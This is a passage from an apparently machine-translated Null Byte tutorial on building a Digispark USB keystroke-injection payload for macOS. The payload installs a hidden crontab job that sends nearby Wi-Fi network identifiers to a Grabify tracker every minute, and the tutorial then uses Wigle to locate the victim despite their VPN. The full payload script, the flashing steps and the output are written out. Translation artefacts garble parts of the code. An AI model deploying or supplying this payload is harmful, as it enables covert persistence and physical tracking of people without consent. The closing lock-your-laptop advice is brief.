=)");\nDigiKeyboard.delay (500);\nDigiKeyboard.sendKeyStroke (KEY_ENTER);    Composing everything, the entire script should look like the code below.    \/ * Digispark VPN buster to send the IP address and BSSID \/ SSID of nearby Wi-Fi networks on a MacOS computer to a Grabify tracker every 60 seconds.\n* \/\n# include "DigiKeyboard.h"\ninvalid installation () {}\nvoid loop () {\nDigiKeyboard.delay (2000);\nDigiKeyboard.sendKeyStroke (0);\nDigiKeyboard.sendKeyStroke (KEY_SPACE, MOD_GUI_LEFT);\nDigiKeyboard.delay (600);\nDigiKeyboard.print ("terminal");\nDigiKeyboard.sendKeyStroke (KEY_ENTER);\nDigiKeyboard.delay (5000);\nDigiKeyboard.print ("export VISUAL = nano; crontab -e");\nDigiKeyboard.delay (500);\nDigiKeyboard.sendKeyStroke (KEY_ENTER);\nDigiKeyboard.delay (1000);\nDigiKeyboard.sendKeyStroke (KEY_ENTER);\nDigiKeyboard.print ("* * * * * curl - silent - output \/ dev \/ null --referer " $ (\/ System \/ Library \/ PrivateFrameworks \/ Apple80211.framework \/ Versions \/ Current \/ Resources \/ airport -s | sed 1d | xargs | tr -d & # 39; & # 39; | tr -d & # 39; - & # 39;)  "https:\/\/grabify.link\/YOURLINK");\nDigiKeyboard.delay (1000);\nDigiKeyboard.sendKeyStroke (KEY_X, MOD_CONTROL_LEFT);\nDigiKeyboard.delay (500);\nDigiKeyboard.sendKeyStroke (KEY_Y);\nDigiKeyboard.delay (500);\nDigiKeyboard.sendKeyStroke (KEY_ENTER);\nDigiKeyboard.delay (500);\nDigiKeyboard.print ("wait & & kill -9 $ (ps -p $ PPID -o ppid =)");\nDigiKeyboard.delay (500);\nDigiKeyboard.sendKeyStroke (KEY_ENTER);\nfor (;;) {\/ * even * \/}}    Now it's time to flash the code to our Digispark. \n\n  Step 4: Flash payload   When you are ready to flash Digispark, make sure it is disconnected first. Click the arrow in the upper left of the Arduino window, and the code will compile. In the window at the bottom, Arduino will instruct you to connect Digispark within 60 seconds.    Run Digispark Uploader ...\nConnect the device now ... (60 seconds timeout)\n> Connect the device ...\n> Press CTRL + C to exit the program.    Go ahead and plug it in, and the code will be uploaded. If you see the output as below you have done it! Disconnect the plug when ready, as the payload will run after five seconds.  > The device is found!\nconnection: 16% complete\nconnection: 22% complete\nconnection: 28% complete\nconnection: 33% completed\n> The device has firmware version 1.6\n> Available space for user applications: 6012 bytes\n> Suggested sleep between broadcast pages: 8ms\n> Full page count: 94 page size: 64\n> Delete function sleep duration: 752ms\nanalysis: 50% complete\n> Delete memory ...\ndeletion: 55% complete\ndeletion: 60% complete\ndeletion: 65% complete\n> Starting uploading ...\nwriting: 70% complete\nwriting: 75% complete\nWriting: 80% complete\n> Start user app ...\nRun: 100% complete\n>> Micronucleus done. Thanks!    If that didn't work, try disconnecting and retrying. You may also need to adjust Digispark in the USB socket a little to get in touch, depending on which socket your computer uses. \n\n  Step 5: Run the script and check the trace logs   Now that the code is on Digispark, we can connect it and see it run. Make sure you have left all terminal windows and then connect Digispark to see the payload and look for any snags. You may need to adjust the timing of your script depending on what you see.   When you have a script that runs smoothly, we can check the Grabify tracking page to see if we got the effect we wanted. What we hope to see is the IPN address of the VPN, combined with the very long string of Wi-Fi networks nearby.     The result above we have successfully obtained a strict SSID and BSSID that belong to networks close to the target for us to track. We can take BSSID from the first network, RedPolish, and run it through  Wigle Wifi to see if anyone has observed where that network is located.   If you find that you do not see a reference, the string of nearby networks may be too long. You can add  cut -c -200  after  tr -d & # 39; - & # 39;  in your payload to try to fix this, reduce the total number of characters sent to 200 max. [19659002] At Wigle.net we can use the search function to search for the BSSID we are interested in.     There we go! Although VPN says Australia, we have proven that the user is actually located in Los Angeles by tracking the location of a network they are physically close to. VPN could not do much to protect the targeted computer from being located. \n\n   It is easy to create HID payloads in Arduino   Using built-in tools on a MacOS computer, we have shown that it is easy to create a tracking script that can be delivered with a $ 1 Arduino card . Leaving your computer unlocked and unattended makes it easy to swap for an attack like this, so always close and lock your laptop before leaving it unattended, even briefly.   You can make your computer slightly less vulnerable to attacks like this by changing default shortcuts so that things like the Spotlight Search field use other key combinations to boot. If you are worried about this or other crontabs running in the background, you can list them by running  crontab -l  in your terminal and look for something suspicious.   I hope you liked this guide for using cheap Arduino hacking tools! If you have any questions about this tutorial on Digispark and Grabify, leave a comment below and feel free to reach me on Twitter  @KodyKinzie .   Don't Miss:  How to Hack Wi-Fi: Hunting Down & Cracking WEP Networks  \n\r\n\r\n\r\n \n  Want to start making money as a white hat hacker?  Get started on your White-Hat Hacking career with our Premium Premium Ethical Hacking Certification Training Bundle from the new Null Byte Shop and get over 60 hours of training from Ethical Hacking Professionals.    Buy now (96% discount)>  \n \n  Cover image and screenshots of Kody \/ Null Byte  \r\n                \r\n                \r\n            \r\n\r\nSource link "}</script>
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